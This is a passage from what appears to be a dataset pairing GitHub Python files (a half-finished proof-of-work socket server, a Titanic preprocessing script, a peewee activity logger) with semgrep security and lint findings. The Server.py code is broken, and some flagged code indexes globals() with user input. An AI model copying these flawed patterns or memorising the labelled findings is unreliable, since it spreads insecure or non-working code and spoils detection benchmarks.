[], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 99, "col": 2, "offset": 3527}, "end": {"line": 99, "col": 37, "offset": 3562}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_4942aed7", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 99, "line_end": 99, "column_start": 19, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 99, "col": 19, "offset": 3544}, "end": {"line": 99, "col": 36, "offset": 3561}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
13
true
[ "CWE-502", "CWE-502", "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.security.deserialization.avoid-cPickle", "rules.python.lang.security.deserialization.avoid-cPickle" ]
[ "security", "security", "security", "security", "security" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 83, 87, 91, 95, 99 ]
[ 83, 87, 91, 95, 99 ]
[ 2, 2, 2, 2, 2 ]
[ 48, 35, 37, 35, 37 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `cPickle`, which is known to lead ...
[ 5, 5, 5, 5, 5 ]
[ "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
convert_data.py
/baselines/planetoid/convert_data.py
kojino/lpn
MIT
2024-11-18T18:39:33.637935+00:00
1,482,240,546,000
aaffb7b98fad11ecad65502d36d3733e9afed9e3
3
{ "blob_id": "aaffb7b98fad11ecad65502d36d3733e9afed9e3", "branch_name": "refs/heads/master", "committer_date": 1482240546000, "content_id": "64458f8b7c67de501dd03153504ee0ef7a2ab45c", "detected_licenses": [ "MIT" ], "directory_id": "26e33f6491218e2a1c677e917742e42bfcd0eaa6", "extension": "py", "filename": "Server.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": null, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6291, "license": "MIT", "license_type": "permissive", "path": "/pow_server/pow_server/Server.py", "provenance": "stack-edu-0054.json.gz:569945", "repo_name": "fanjiamin1/cryptocurrencies", "revision_date": 1482240546000, "revision_id": "2009ade60f74093ff9946b99ae45d2964f5a75ca", "snapshot_id": "4ef1f37b56dc3d098f3a47cbd198952da74ec635", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/fanjiamin1/cryptocurrencies/2009ade60f74093ff9946b99ae45d2964f5a75ca/pow_server/pow_server/Server.py", "visit_date": "2021-01-21T11:49:06.636178" }
2.890625
stackv2
import socket, select import os import hashlib import configparser RECV_BUFFER = 16 # Length of suffix def _trailing_zero_count(some_bytes): """Dumb trailing zero bit counting.""" bit_str = bin(int(some_bytes.hex(), 16)) return len(bit_str) - len(bit_str.rstrip('0')) #Function to broadcast chat messages to all connected clients def broadcast_data (message): #Do not send the message to master socket and the client who has send us the message for socket in CONNECTION_LIST: if socket != server_socket: try : socket.send(message) except : # broken socket connection may be, chat client pressed ctrl+c for example socket.close() CONNECTION_LIST.remove(socket) class UDPServer: def __init__(self, host, port, groups, people): self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server def __enter__(self): print("ENTER") pass def __exit__(self): print("EXIT") pass if __name__ == "__main__": print("Proof of work competition!") try: config = configparser.ConfigParser() config.sections() config.read("config.cfg") rounds = config["Competition"].getint("rounds") groups = config["Competition"].getint("groups") people = config["Competition"].getint("people") bits = config["Challenge"].getint("bits") protocol = config["Networking"]["protocol"] host = config["Networking"]["host"] port = config["Networking"]["port"] except: print("Unable to load config file") print("Falling back on defaults") groups = 2 people = 1 rounds = 32 bits = 27 protocol = "UDP" host = "0.0.0.0" port = 8888 print("Networking details:") print("\tProtocol:", protocol) print("\tHost:", host) print("\tPort:", port) print("Competition details:") print("\tRounds:", rounds) print("\tGroups:", groups) print("\tPeople:", people) print("Challenge details:") print("\tType: Trailing zero hashing") print("\tBits:", bits) if protocol == "UDP": Server = UDPServer elif protocol == "TCP": Server = TCPServer else: print("Unrecognized protocol") with Server(host, port, groups*people) as server: print("With server object") for round_number in range(1, rounds+1): print("ROUND", round_number) class TCPServer: def __init__(self, host, port, competitors): # List to keep track of socket descriptors server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind((host, port)) server_socket.listen(competitors) self.connection_list = [server_socket] if False:#__name__ == "__main__": # Add server socket to the list of readable connections print("Competition server started on port " + str(PORT)) while True: if len(CONNECTION_LIST) - 1 == AMOUNT_OF_COMPETITORS: print("Got {} participants!".format(AMOUNT_OF_COMPETITORS)) break else: print("We have {} participants so far".format(len(CONNECTION_LIST) - 1)) # Get the list sockets which are ready to be read through select read_sockets, write_sockets, error_sockets = select.select(CONNECTION_LIST,[],[]) for sock in read_sockets: #New connection if sock == server_socket: # Handle the case in which there is a new connection recieved through server_socket sockfd, addr = server_socket.accept() CONNECTION_LIST.append(sockfd) print("Competitor {} connected".format(addr)) print("Let the games begin!") prefix = os.urandom(16) challenge_message = prefix + bytes([ZERO_BITS]) print("") print("The challenge is to find {} for:".format(ZERO_BITS)) print("\t{}".format(prefix)) print("") broadcast_data(challenge_message) success = False while not success: # Get the list sockets which are ready to be read through select read_sockets, write_sockets, error_sockets = select.select(CONNECTION_LIST,[],[]) for sock in read_sockets: addr = sock.getpeername() #New connection if sock == server_socket: pass # Ignore connections #Some incoming message from a client else: # Data recieved from client, process it try: #In Windows, sometimes when a TCP program closes abruptly, # a "Connection reset by peer" exception will be thrown suffix = sock.recv(RECV_BUFFER) except: print("Error for {}! Closing connection".format(addr)) sock.close() CONNECTION_LIST.remove(sock) continue # Check if challenge completed digest = hashlib.sha256(prefix + suffix).digest() bin_repr = tuple(map(lambda x: bin(x)[2:].zfill(8), digest)) count = _trailing_zero_count(digest) success = count >= ZERO_BITS print("Got suffix:") print("\t", suffix) print("from {} which gives hash".format(addr)) print("\t...") slice_index = -((count//8)+1) if count < 249 else 0 for chomp in bin_repr[slice_index:]: print("\t{}".format(chomp)) if success: print("WINNER! {} with {} zero bits!".format(addr, count)) print("Game over") else: print("which has {} zero bits...".format(count)) print("WRONG {}! Closing connection".format(addr)) sock.close() CONNECTION_LIST.remove(sock) if success: break server_socket.close() # Eh...
175
34.95
99
23
1,346
python
[{"finding_id": "semgrep_rules.python.lang.correctness.list-modify-while-iterate_9468cd25e3355bd4_20eaa081", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.list-modify-while-iterate", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "It appears that `CONNECTION_LIST` is a list that is being modified while in a for loop. This will likely cause a runtime error or an infinite loop.", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 26, "column_start": 5, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://unspecified.wordpress.com/2009/02/12/thou-shalt-not-modify-a-list-during-iteration/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.list-modify-while-iterate", "path": "/tmp/tmpb8jm_z1l/9468cd25e3355bd4.py", "start": {"line": 19, "col": 5, "offset": 472}, "end": {"line": 26, "col": 47, "offset": 782}, "extra": {"message": "It appears that `CONNECTION_LIST` is a list that is being modified while in a for loop. This will likely cause a runtime error or an infinite loop.", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://unspecified.wordpress.com/2009/02/12/thou-shalt-not-modify-a-list-during-iteration/"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_9468cd25e3355bd4_e2f56501", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 154, "line_end": 154, "column_start": 48, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/9468cd25e3355bd4.py", "start": {"line": 154, "col": 48, "offset": 5347}, "end": {"line": 154, "col": 67, "offset": 5366}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.correctness.list-modify-while-iterate", "rules.python.lang.maintainability.return-not-in-function" ]
[ "correctness", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "HIGH", "MEDIUM" ]
[ 19, 154 ]
[ 26, 154 ]
[ 5, 48 ]
[ 47, 67 ]
[ "", "" ]
[ "It appears that `CONNECTION_LIST` is a list that is being modified while in a for loop. This will likely cause a runtime error or an infinite loop.", "`return` only makes sense inside a function" ]
[ 7.5, 5 ]
[ "", "" ]
[ "", "" ]
Server.py
/pow_server/pow_server/Server.py
fanjiamin1/cryptocurrencies
MIT
2024-11-18T18:39:34.168258+00:00
1,515,297,971,000
c54da6219149d8fbf75e7e4cce370ed9ddcaff2f
3
{ "blob_id": "c54da6219149d8fbf75e7e4cce370ed9ddcaff2f", "branch_name": "refs/heads/master", "committer_date": 1515303420000, "content_id": "5c66bc6dea51cc4e1ccb0e6297fb69e22c8778d6", "detected_licenses": [ "MIT" ], "directory_id": "6c5524cd84bc5334b950ac2ef4acded55c9bfc00", "extension": "py", "filename": "data.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 115970028, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3467, "license": "MIT", "license_type": "permissive", "path": "/data.py", "provenance": "stack-edu-0054.json.gz:569951", "repo_name": "ak110/Kaggle-Titanic", "revision_date": 1515297971000, "revision_id": "1cb53eb3afa9b82e00b9fbaaeff9779479cb36d0", "snapshot_id": "7e163898100486efa8cfa97175e450f936a26246", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/ak110/Kaggle-Titanic/1cb53eb3afa9b82e00b9fbaaeff9779479cb36d0/data.py", "visit_date": "2021-05-14T14:20:24.482750" }
2.890625
stackv2
"""データの読み込み&前処理。""" import pathlib import pandas as pd import pytoolkit as tk TRAIN_FILE = pathlib.Path('data/train.csv') TEST_FILE = pathlib.Path('data/test.csv') @tk.log.trace() def load_data(): """データの読み込み&前処理。""" df_train = pd.read_csv(TRAIN_FILE).sort_values('PassengerId') df_test = pd.read_csv(TEST_FILE).sort_values('PassengerId') df_train['IsTrain'] = True df_train['IsTest'] = False df_test['IsTrain'] = False df_test['IsTest'] = True logger = tk.log.get() logger.info('train = {}, test = {}'.format(len(df_train), len(df_test))) # trainとtestをいったんくっつけてから特徴を作る df = pd.concat([df_train, df_test], ignore_index=True) # PassengerId, Survived, Pclass, Name, Sex, Age, SibSp, Parch, Ticket, Fare, Cabin, Embarked df['Sex'] = df['Sex'].map({'female': 0, 'male': 1}).astype(int) # https://www.kaggle.com/nicapotato/titanic-feature-engineering df['FamilySize'] = df['SibSp'] + df['Parch'] + 1 df['NameLength'] = df['Name'].apply(len) df['Title'] = 0 df['Title'] = df.Name.str.extract(r'([A-Za-z]+)\.', expand=False) # lets extract the Salutations df['Title'].replace(['Mlle', 'Mme', 'Ms', 'Dr', 'Major', 'Lady', 'Countess', 'Jonkheer', 'Col', 'Rev', 'Capt', 'Sir', 'Don'], ['Miss', 'Miss', 'Miss', 'Mr', 'Mr', 'Mrs', 'Mrs', 'Other', 'Other', 'Other', 'Mr', 'Mr', 'Mr'], inplace=True) df['Title_Mr'] = df.Title == 'Mr' df['Title_Mrs'] = df.Title == 'Mrs' df['Title_Master'] = df.Title == 'Master' df['Title_Miss'] = df.Title == 'Miss' df['Title_Other'] = df.Title == 'Other' # df['Age'].fillna(df.Age.median(), inplace=True) age_mr = df.Age[df.IsTest & df.Title_Mr].mean() age_mrs = df.Age[df.IsTest & df.Title_Mrs].mean() age_master = df.Age[df.IsTest & df.Title_Master].mean() age_miss = df.Age[df.IsTest & df.Title_Miss].mean() age_other = df.Age[df.IsTest & df.Title_Other].mean() logger.info('Age of Mr: {}'.format(age_mr)) logger.info('Age of Mrs: {}'.format(age_mrs)) logger.info('Age of Master: {}'.format(age_master)) logger.info('Age of Miss: {}'.format(age_miss)) logger.info('Age of Other: {}'.format(age_other)) df.loc[df.Age.isnull() & df.Title_Mr, 'Age'] = age_mr df.loc[df.Age.isnull() & df.Title_Mrs, 'Age'] = age_mrs df.loc[df.Age.isnull() & df.Title_Master, 'Age'] = age_master df.loc[df.Age.isnull() & df.Title_Miss, 'Age'] = age_miss df.loc[df.Age.isnull() & df.Title_Other, 'Age'] = age_other df.drop('Title', axis=1, inplace=True) df['Embarked'] = df['Embarked'].fillna(df['Embarked'].mode().iloc[0]) df['Embarked'] = df['Embarked'].map({'Q': 0, 'S': 1, 'C': 2}).astype(int) df['Fare'] = df['Fare'].fillna(df_test['Fare'].mean()) # 使わない列の削除 df.drop(['PassengerId', 'Name', 'Ticket', 'Cabin'], axis=1, inplace=True) logger.debug('df dtypes, describe, head:\n{}\n\n{}\n\n{}'.format(df.dtypes, df.describe(), df.head())) df_train = df.loc[df.IsTrain] df_test = df.loc[df.IsTest] X_train = df_train.drop(['Survived', 'IsTrain', 'IsTest'], axis=1).values.astype(float) y_train = df_train['Survived'].values.astype(int) X_test = df_test.drop(['Survived', 'IsTrain', 'IsTest'], axis=1).values.astype(float) return (X_train, y_train), X_test
82
40.01
106
15
1,052
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_5419255702bdf8cf_be78d509", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `'Title'` in `df` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 38, "column_start": 5, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmpb8jm_z1l/5419255702bdf8cf.py", "start": {"line": 37, "col": 5, "offset": 1104}, "end": {"line": 38, "col": 70, "offset": 1189}, "extra": {"message": "key `'Title'` in `df` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_5419255702bdf8cf_b096f08a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `'Embarked'` in `df` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 67, "line_end": 68, "column_start": 5, "column_end": 78, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmpb8jm_z1l/5419255702bdf8cf.py", "start": {"line": 67, "col": 5, "offset": 2700}, "end": {"line": 68, "col": 78, "offset": 2847}, "extra": {"message": "key `'Embarked'` in `df` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.maintainability.useless-assignment-keyed", "rules.python.lang.maintainability.useless-assignment-keyed" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "LOW", "LOW" ]
[ 37, 67 ]
[ 38, 68 ]
[ 5, 5 ]
[ 70, 78 ]
[ "", "" ]
[ "key `'Title'` in `df` is assigned twice; the first assignment is useless", "key `'Embarked'` in `df` is assigned twice; the first assignment is useless" ]
[ 3, 3 ]
[ "", "" ]
[ "", "" ]
data.py
/data.py
ak110/Kaggle-Titanic
MIT
2024-11-18T18:39:34.670577+00:00
1,485,099,424,000
246d7dfa7bd6119cd0ff2839322857c3754f22e4
3
{ "blob_id": "246d7dfa7bd6119cd0ff2839322857c3754f22e4", "branch_name": "refs/heads/master", "committer_date": 1485099424000, "content_id": "9b490eee8aa527986adbc692590abd0c040e2d7c", "detected_licenses": [ "MIT" ], "directory_id": "6de29238393d7548058c4d5739c7c50879c629a2", "extension": "py", "filename": "activitylog.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 77785257, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6061, "license": "MIT", "license_type": "permissive", "path": "/activity/activitylog.py", "provenance": "stack-edu-0054.json.gz:569958", "repo_name": "awynne/scripts", "revision_date": 1485099424000, "revision_id": "98203739a65a6798ab083d07045bbe69c4e6e02a", "snapshot_id": "031bd3e88710a61e719fbc66e7e26efb0f53351d", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/awynne/scripts/98203739a65a6798ab083d07045bbe69c4e6e02a/activity/activitylog.py", "visit_date": "2021-04-29T01:09:52.686335" }
2.5625
stackv2
from peewee import * from pprint import pprint from copy import copy import sys, os, inspect, traceback import argparse import inspect from datetime import datetime from datetime import time db = SqliteDatabase('activitylog.db') ################ # Model classes ################ class BaseModel(Model): is_abstract = BooleanField(default=False) class Meta: database = db class NamedModel(BaseModel): name = CharField(primary_key=True) class Person(NamedModel): first = CharField() last = CharField() born = DateField() class ActivityType(NamedModel): parent = ForeignKeyField('self', null=True, related_name='children') class MeasurementType(NamedModel): parent = ForeignKeyField('self', null=True, related_name='children') class Location(NamedModel): address = CharField() class Entry(BaseModel): person = ForeignKeyField(Person) location = ForeignKeyField(Location) props = CharField(null=True) class Activity(Entry): start = DateTimeField() end = DateTimeField() activityType = ForeignKeyField(ActivityType) distance = FloatField(default=0.0) class Measurement(Entry): time = DateTimeField() measurementType = ForeignKeyField(MeasurementType) value = DecimalField() ############ # Functions ############ def main(argv): args = parse_args(); if args.list: ls_model(args.list) elif (args.list_all): for table in db.get_tables(): print table.title() elif (args.add): switcher = { 'Activity': add_activity, 'Location': add_location } try: func = switcher.get(args.add) func() except: print "Cannot add: %s" % args.add traceback.print_exc() else: script = os.path.basename(__file__) print "%s: you must specify an option" % script exit(2) def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("--list", metavar='<model-class>', dest='list', help='List model objects for the specified class') parser.add_argument('--list-all', dest='list_all', action='store_true', help='List all model classes') parser.add_argument('--add', metavar='<model-class>', dest='add', help='Add an instance of the specified class') return parser.parse_args() def input_model(model_str): clazz = globals()[model_str] instance = clazz.select().where(clazz.is_abstract == False).order_by(clazz.name)[0] while True: uinput = raw_input("%s name [%s]: " % (model_str, instance.name)) if uinput == 'help': print "\nAvailable %ss:" % model_str ls_model(model_str) print else: try: if uinput == '': uinput = instance.name clazz = globals()[model_str] return clazz.get(clazz.name == uinput) except DoesNotExist: print "No such %s: %s" % (model_str,uinput) def input_date(): default = datetime.today().strftime("%Y-%m-%d") while True: uinput = raw_input("date [%s]: " % default) if uinput == 'help': print "\nFormat: yyyy-mm-dd" print else: if uinput == '': uinput = default try: return datetime.strptime(uinput, "%Y-%m-%d") except ValueError: print "Invalid date: %s" % uinput def input_time(adate, prompt): while True: uinput = raw_input(prompt) if uinput == 'help': print "\nFormat: HH:MM" print try: t = datetime.strptime(uinput, "%H:%M") return datetime.combine(adate, time(t.hour, t.minute)) except ValueError: print "Invalidtime: %s" % uinput def input_float(prompt): while True: uinput = raw_input("%s: " % prompt) if (uinput == ""): return 0 else: try: return float(uinput) except: print "Not a valid float: %s" % uinput def input_string(prompt, help_text): while True: uinput = raw_input("%s: " % prompt) if uinput == "help": print help_text elif uinput != "": return str(uinput) def input_yn(prompt): while True: uinput = raw_input(prompt) if (uinput == 'y' or uinput == 'Y'): return True elif (uinput == 'n' or uinput == 'N'): return False def add_location(): print "Creating new Location [also try 'help'] ..." nm = input_string("name", "name is a unique identifier") addr = input_string("address", "Example: 123 Main St, City, State 12345") print "\nCreated Location: {name: %s, address: %s}" % (nm, addr) save = input_yn("\nSave Location (y/n)? ") if save == True: Location.create(name=nm, address=addr) print "Saved" else: print "Not saved" def add_activity(): activity = Activity() print "Creating new Activity [also try 'help'] ..." activity.activityType = input_model("ActivityType") adate = input_date() activity.start = input_time(adate, "start time: ") activity.end = input_time(adate, "end time: ") activity.person = input_model("Person") activity.location = input_model("Location") activity.distance = input_float("distance") print "\nCreated Activity:" ls_instance(activity) save = input_yn("\nSave Activity (y/n)? ") if save == True: activity.save() print "Saved" else: print "Not saved" def ls_model(clazzStr): clazz = globals()[clazzStr] for item in clazz.select(): if item.is_abstract == False: ls_instance(item) def ls_instance(instance): attrs = copy(vars(instance)['_data']) del(attrs['is_abstract']) pprint(attrs) if __name__ == '__main__': main(sys.argv[1:])
221
26.43
87
16
1,376
python
[{"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_d1f7736fb7e101c5_15d00036", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(2)", "location": {"file_path": "unknown", "line_start": 81, "line_end": 81, "column_start": 9, "column_end": 16, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 81, "col": 9, "offset": 1904}, "end": {"line": 81, "col": 16, "offset": 1911}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(2)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.dangerous-globals-use_d1f7736fb7e101c5_0185e01c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.dangerous-globals-use", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 95, "line_end": 95, "column_start": 13, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.dangerous-globals-use", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 95, "col": 13, "offset": 2464}, "end": {"line": 95, "col": 33, "offset": 2484}, "extra": {"message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "metadata": {"cwe": ["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_d1f7736fb7e101c5_674ad302", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_abstract\" a function or an attribute? If it is a function, you may have meant clazz.is_abstract() because clazz.is_abstract is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 96, "line_end": 96, "column_start": 37, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 96, "col": 37, "offset": 2521}, "end": {"line": 96, "col": 54, "offset": 2538}, "extra": {"message": "Is \"is_abstract\" a function or an attribute? If it is a function, you may have meant clazz.is_abstract() because clazz.is_abstract is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.dangerous-globals-use_d1f7736fb7e101c5_f271cb51", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.dangerous-globals-use", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 108, "line_end": 108, "column_start": 25, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.dangerous-globals-use", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", 